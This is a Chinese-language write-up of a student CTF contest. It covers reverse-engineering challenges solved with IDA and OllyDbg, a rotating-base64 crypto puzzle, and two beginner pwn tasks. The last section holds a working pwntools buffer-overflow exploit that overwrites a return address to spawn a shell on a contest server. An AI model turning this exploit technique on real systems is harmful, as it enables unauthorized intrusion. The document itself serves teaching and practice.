2021CDUCTF11 月校赛部分题解

0x00 Reverse

所有我出的题,我尽量给出双解(IDA 和 OD),不是我出的就不要在我这里看了奥

0x01 Luck

IDA

先看 mian 函数,game 函数和 flagshow 函数

image-20211110222240976

然后看 game 函数

image-20211110222423055

在函数结尾的时候有一个设置随机数种子,很可疑,暂时记下。0x2918 = 10520。再看 flagshow 函数:

image-20211110222541541

所以 flag 是取伪随机数 xor v2 来的,v2 则是 n1 数组的元素。

什么是 xor?

xor:异或,相异得一,相同得零。例如:1 ^ 1 = 0;1 ^ 0 = 1;0 ^ 0 = 0

程序中 xor 操作过程是按位进行的。先将操作数转换为二进制数,再进行按位异或。例如:23 ^ 45

23 = 0001 0111 45 = 0010 1101 => 23 ^ 45 = 0011 1010 = 58

因为 xor 的特性,所以有:若 a^b=c,则 c^b=a;c^a=b。

详细的查看 {% btn https://baike.baidu.com/item/ 异或 /10993677?fromtitle=xor&fromid=64178&fr=aladdin, 百度百科, XOR %}

找到 n1 数组,提取出来

这里可以右键转换为数组再通过 Shift+E 提取,可以快速提取到值

前面是 4 个数有三个都是 0,因为 int 是 4 字节的,而这里把它一个字节一个字节解析的,所以宽度设置为 4。得到数据:

再用 notepad 替换 0 为空即可。写出 exp 即可。

#include<stdio.h>
#include<stdlib.h>

int main()
{
	int decode[] = {0x7F,0x5B,0x4A,0x5,0x64,0x1,0x66,0x65,0x66,0x5B,0x4A,0x20,0x51,0x4F,0x39,0x1,0x41,0x6B,0x5F,0x7E,0x73,0x7A,0x57,0x5A,0x0E,0x11,0x6F,0x0,};
	srand(10520);
	for(int i=0;decode[i];i++)
	{
		printf("%c",decode[i] ^ (rand()%100+1));
	}

	return 0;
}

//flag{1uck_g4y_n0t_n55d_x0r}

OD

在 main 函数和 flagshow 函数有两次判断,只要一次猜出来就可以得到 flag,我们直接 nop 掉两次跳转或者改变跳转地址即可

先找到判断 1,下断:

再找到跳转 2,下断(搜索字符串就不教了奥):

直接运行,猜出数字到断点处:

nop 掉 jz 跳转,进入第二个 call(F7):

这里 je 跳转箭头内的全部 nop,目的是不执行 retn,push ebx 要留下,这里截图错了。

进入循环后再用 F8 比较浪费时间,可以直接 F4 到函数快结尾处,不会的下断点在最后一个 call,然后再 F8 一下,就看到程序框内的 flag 了。

other

用 CE 应该也是可以的,每猜一次搜索次数嘛,还是很简单。难就难在程序结束了没有滞留,黑框就没了,这种情况应该怎么搞呢?自己去探索吧 ~

0x02 EasyRe

IDA

这个源码还是很简单了,太长就不截图了,直接复制源码吧

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char v4; // cl
  int v5; // eax
  char v6; // al
  int v7; // edx
  char v8; // al
  signed int v9; // edx
  char flag[256]; // [esp+0h] [ebp-138h]
  char third[12]; // [esp+100h] [ebp-38h]
  char second[11]; // [esp+10Ch] [ebp-2Ch]
  char zero[8]; // [esp+118h] [ebp-20h]
  char first[7]; // [esp+120h] [ebp-18h]
  char flag_0[9]; // [esp+128h] [ebp-10h]
  char v17; // [esp+132h] [ebp-6h]

  printf("PLZ input your flag:\n");
  scanf_s("%s", flag);
  if ( strlen(flag) != 37 )                     // flag长度为27
  {
    printf("the len of flag is wrong,sorry\n");
    _exit(0);
  }
  if ( flag[7] != '_' || flag[14] != '_' || flag[25] != '_' )
  {                                             // 第8、15、26位为‘_’
    printf("something is wrong~try again\n");
    _exit(0);
  }
  *zero = 0;
  *&zero[2] = 0;
  *&zero[6] = 0;
  _strncpy_s(zero, 8u, flag, 7u);
  flag_0[8] = 0;
  strcpy(flag_0, "welcome");                    // 第一部分:welcome
  v3 = strcmp(flag_0, zero);
  if ( v3 )
    v3 = -(v3 < 0) | 1;
  if ( v3 )
  {
    _puts(zero);
    printf("you are wrong, sorry.\n");
    _exit(1);
  }
  *first = 0;
  *&first[2] = 0;
  first[6] = 0;
  _strncpy_s(first, 7u, &flag[8], 6u);
  *&flag_0[4] = 'xudc';                         // 按R转为字符串
  *&flag_0[8] = 'bw';                           // 是数转过来的,为小端存储,既倒叙
  v4 = 99;                                      // 所以第二部分:cduxwb
  v17 = 0;
  v5 = 0;
  do
  {
    if ( first[v5] != v4 )
    {
      _puts(first);
      printf("It's close. Come on!\n");
      _exit(2);
    }
    v4 = flag_0[v5++ + 5];
  }
  while ( v4 );
  *second = 0;
  second[10] = 0;
  *&second[2] = 0i64;
  _strncpy_s(second, 0xBu, &flag[15], 0xAu);
  *flag_0 = *aEverythi;
  *&flag_0[8] = 'GN';
  v6 = aEverythi[0];                            // 第三部分为:EVERYTHING
  if ( aEverythi[0] )
  {
    v7 = 0;
    do
    {
      if ( second[v7] - 32 != v6 )              // flag[i] = flag_0[i] + 32
      {                                         // 大小写字母之差为32,所以真正的flag为小写
        _puts(second);
        printf("hurry up! GO GO GO!\n");
        _exit(3);
      }
      v6 = flag_0[v7++ + 1];
    }
    while ( v6 );
  }
  *third = 0;
  *&third[10] = 0;
  *&third[2] = 0i64;
  _strncpy_s(third, 0xCu, &flag[26], 0xBu);
  strcpy(flag_0, "suhxlzSUKMC");
  v8 = 's';                                     // 第四部分xor加密
  v9 = 26;
  do
  {
    if ( (v9 ^ third[v9 - 26]) != v8 )
    {
      _puts(third);
      printf("ohhhhh,a little!only a little!\t");
      _exit(4);
    }
    v8 = flag_0[v9++ - 25];
  }
  while ( v8 );
  printf("nice!Do a good jod!!!your flag:\nflag{%s}", flag);
  return 0;                                     // flag包上{}输出
}

EVERYTHING 最后的 NG 哪来的?

xor 反解脚本 Python:

flag=''
a = 'suhxlzSUKMC'
for i in range(len(a)):
	flag+= chr(ord(a[i])^(i+26))
print(flag)

#interesting

所以得到全部 flag,中间用 _ 连接

welcome_cduxwb_everything_interesting

OD

因为 flag 是输入值,OD 分析效果不大。故无 IDA 分析解法。

0x03 Maze

IDA

先看 main 函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int v3; // esi
  char v4; // dl
  char *v5; // edi
  unsigned int v6; // ecx
  char v7; // al
  char YourChoice[256]; // [esp+4h] [ebp-104h]

  welcome();
  v3 = 1;
  printf("How to out of maze?\n");
  scanf_s("%s", YourChoice);
  v4 = YourChoice[0];
  if ( YourChoice[0] )
  {
    v5 = YourChoice;
    v6 = 1;
    do
    {
      if ( v4 != 'w' && v4 != 'a' && v4 != 's' && v4 != 'd' )
      {          // 行为判断 wasd,其他输入均为错误
        printf("Error input!");
        _exit(0);
      }
      maze[v3] = '*';   // 当前位置变为*,既不允许回头
      switch ( v4 )
      {
        case 'w':      // w 按理说是向上
          v3 -= 10;    // 所以应该是10个为一排
          v6 -= 10;
          break;
        case 's':
          v3 += 10;
          v6 += 10;
          break;
        case 'a':       // a是左
          --v3;
          --v6;
          break;
        case 'd':       // d是右
          ++v3;
          ++v6;
          break;
      }
      if ( maze[v3] == '*' || v6 > 50 )
      {     // 不能走到*,不能大于50 <=> 迷宫长度为50,既10*5的矩阵
        printf("Wrong way,try again!\n");
        _exit(0);
      }
      v7 = (v5++)[1];
      v4 = v7;
    }
    while ( v7 );
  }
  if ( maze[v3] == 'n' )    // 走到终点 ‘n’
    printf("Great!You did it!get your flag:\nflag{%s}", YourChoice);
  else              // 走完所有步数才走到中间还未到终点
    printf("Emmmmmm,It's not the end");
  return 0;
}

已经清楚了,就是一个迷宫,走出迷宫就好了,所以找到迷宫,还有一个 welcome 函数没看

找到了迷宫是怎么来的,先提取 sapceNum,之前讲过的,shift+E

写个脚本模拟一下,还是 python

sN = [2, 3, 13, 14, 15, 16, 17, 27, 31, 33, 34, 35, 37, 41, 42, 43, 45, 46, 47]
maze = '*' * 50
maze = list(maze)
for i in sN:
	maze[i] = ' '

for i in range(50):		#输出
	print(maze[i],end='')
	if (i+1)%10 == 0:
		print('')			#换行
  
'''
**  ******
***     **
******* **
* *   * **
*   *   **
'''

是不是少了点什么?END 呢?回到 welcome 函数再看,当然你看到的是数字,你点一下数字,再按 R……

byte_40336D = 's';

byte_403381 = 'n';

跳转过来,其实就是 maze 中的位置,maze 的开头是 6C,6D 为‘s’,既第二个就是‘s’。同理找到‘n’的位置。

得到完整迷宫

*s  ******
***     **
*n***** **
* *   * **
*   *   **

走迷宫嘛就。ddsddddsssaawaasaaww

OD

OD 解可就太简单了,本来这题的考点也是 OD,IDA 不指望他们能分析出来。直接拖入 OD,运行,然后搜索字符串

为什么要先运行再搜索字符串,一开始不行吗?肯定是不行的,至于为什么,自己探索吧 ~

一搜就搜出来了,放在记事本里,十个一换行,得到迷宫。直接得到答案。

到这里我的题就解完了,思考一下,为什么我都是先 IDA 后 OD,是我的习惯吗?不全是,OD 调试程序,为了更准确的找到相应的位置,可以先通过 IDA 简单分析一下,再使用 OD,可以大大提高效率。


0x10 Crypto

密码学这玩意吧,玩着听有趣的,出的人多,我就随便整了一道

0x11 Base_for

直接看 python 文件吧

import base64

table = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
TABLE = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
flag = b'flag{**************}'

def myencode(S, t, T):
    t = ''.join(t).encode()
    newtable = bytes.maketrans(T, t)
    enc = base64.b64encode(S).translate(newtable)
    print(enc.decode()[:5])
    return enc
  
for i in range(len(table)):
    for j in range(len(table)-i-1): #替换base表
        if table[j] > table[j+1]:
            x = table[j]
            table[j]=table[j+1]
            table[j+1] = x
    if i % 10 == 0:
        flag = myencode(flag,table,TABLE)

flag = flag.decode()
print('\n' + flag + '\n')

#ZmxhZ
#Wmpsa
#Vqpkc
#0bFk5
#1GJGO
#/IR9F
#9oZGC

#9oZGCINjS4YtQKhnHIhfQWhiJYh6AXVBFohYFYNLO2EjGJ7nCKtCHnZlNqkfPosqEnFKFoQmKYt6JqRaFXAsEnZjHZZ5KXFB9q3jR2gnHL6fPodDHqsoBoJ9O2FEJqVbEb2oHmxhS3N/KKhgEoRcNYYoJX2tPXUoG2l3QIh7Mr71GIplHpV3Q2F6Pno=

那么就先说一下什么是 base64 编码吧,你可以理解为加密。既然为加密,那肯定不是随便加密,得有密码表,这个加密的过程就很好玩,是轮换加密表。

而代码中的 TABLE 则是标准表,替换是根据标准表来的。

graph LR
A[标准表] --> B[替换表1] --> F[替换表2] -.->H[替换表N]
D[明文] --> EN1[加密] --> E[密文1]
B --> EN1 
F --> EN2[加密] --> C[密文2]
E --> EN2
C -.-> EN3[加密]
H -.-> EN3 --> 密文

这有点翻转加密那味了,但是还是很简单的。直接利用原来的加密程序,记录每次加密的表,再用表反向解密即可

import base64

table = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
TABLE = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
etable = []
for i in range(len(table)):
    for j in range(len(table)-i-1):
        if table[j] > table[j+1]:
            x = table[j]
            table[j]=table[j+1]
            table[j+1] = x
    if i % 10 == 0:
        etable.append(''.join(table).encode())  #加密过程改为记录表

enc = b'9oZGCINjS4YtQKhnHIhfQWhiJYh6AXVBFohYFYNLO2EjGJ7nCKtCHnZlNqkfPosqEnFKFoQmKYt6JqRaFXAsEnZjHZZ5KXFB9q3jR2gnHL6fPodDHqsoBoJ9O2FEJqVbEb2oHmxhS3N/KKhgEoRcNYYoJX2tPXUoG2l3QIh7Mr71GIplHpV3Q2F6Pno='
#密文为最后一次完整的输出结果

for i in etable[::-1]:  #加密为正序,解密则要倒叙
    newtable = bytes.maketrans(i, TABLE)
    enc = base64.b64decode(enc.translate(newtable))
    print(enc.decode())  #输出每次解密结果
  
'''
/IR9Foxi9qksMKkr+nVKH28MGKdFFWhD/IRs9nNO9qgl+oN6C4VGG2ZNHWgfF38C9oNYGZ4M/aotK3Mr+oJOOn47EKhDPWhgBq4O/mxVBYklCGhfI4V19n84HLEqKIcrCIMqOXEpDHo=
1GJGOn+l8al7/8VL2XIjQF+O1Gx+6Z+k1/FG8XRH9YN++DBN+FdJQX2m9XF7/EZk1HAkOn+l7aZ3/a6L19+kPXB+2EMt6YJ79F6j45==
0bFk5qNlRY8W62/pUZ0oUFUp1aFN7GRFUT0YTZIr3rR1RXIp0p0k5qJiNZdW1Epn0U4F9FBRPTo=
VqpkcqFGbmx5RUtPU5ZaMpdEQ5dNR7ctVF25WUpkbn6ZbXMsUFExPQ==
WmpsaFo/dENORFZ3WDBGMFg9TXdYMpo9Yms8PQ==
ZmxhZ4tCNDVlX0F0X2MwX3Z2bn1=
flag{B45e_1s_S0_fun}
'''

嗯?不会 python,怎么做,在原来的脚本上,加密那行下面,输出每次的 table,然后去在线网站解啊

记住是逆着来,每次加密都输出前几位,就是为了给你们提示,手动解的时候验证是不是对的

0x20 Pwn

这也算是 CTF 竞赛中分数占比比较大的一部分了,但是我们没有开班,所以就弄了两道启蒙题

0x21 What's nc

nc 嘛,就不多说了,太简单。直接就给了 shell

知道 linux 指令就行,ls、cat flag 级行

0x22 Rip

先下载附件 IDA 查看分析,main 函数就这么简单,输入什么,就输出什么。

shift+F12 搜索字符串看看。就得到了

有 Shell 函数,所以我们就像办法执行他就行。查看地址

找到了,在 sueprise 函数里面(应该是 surprise 函数,惊喜嘛,这里出题时打错了,不过不影响做题)

得到 "/bin/sh" 字段的地址,应该从哪开始执行?从 0x4011B1 开始。

得到这个地址了,问题是怎么执行到这个函数这来呢?main 函数是安全的吗?有地方有漏洞吗,当然有,scanf("%s") 是不安全的。是存在缓冲区溢出的。查看溢出所需要的长度(既 V4 的大小)

得到了 0x30 的长度,覆盖到这里就结束了吗?答案是还没有,后面还有 8 字节的返回地址,要覆盖到这里,所以应该是 0x38.

执行 exp

#!/usr/bin/env python
#coding=utf8
from pwn import *
context.log_level = 'debug'   #显示调试的信息
context.terminal = ['gnome-terminal','-x','bash','-c']   #?

local = 0 #设置是本地还是远程渗透

if local:
    p = process('./pwn1')
    #bin = ELF('./',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
    p=remote('47.108.228.77',10001)
    #bin = ELF('./',checksec=False)
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    pass

bin_sh_addr = 0x4011b1
payload = b'A'*0x38 + p64(bin_sh_addr)

print(payload)

def choose2():
	p.sendline(payload)
	p.interactive()

choose2()

运行环境 :linux

什么?代码报错?先安装 python 库 pwntools。不会使用 pip 自学吧,什么都喂到嘴边,那还了得。

END

说真的,这次的题,都是很简单,很好玩了,当然也不全是在课堂上讲过的,目的就是为了让你们学习,能够学到新东西,体验到比赛的快乐和解题的酣畅淋漓感。

continue……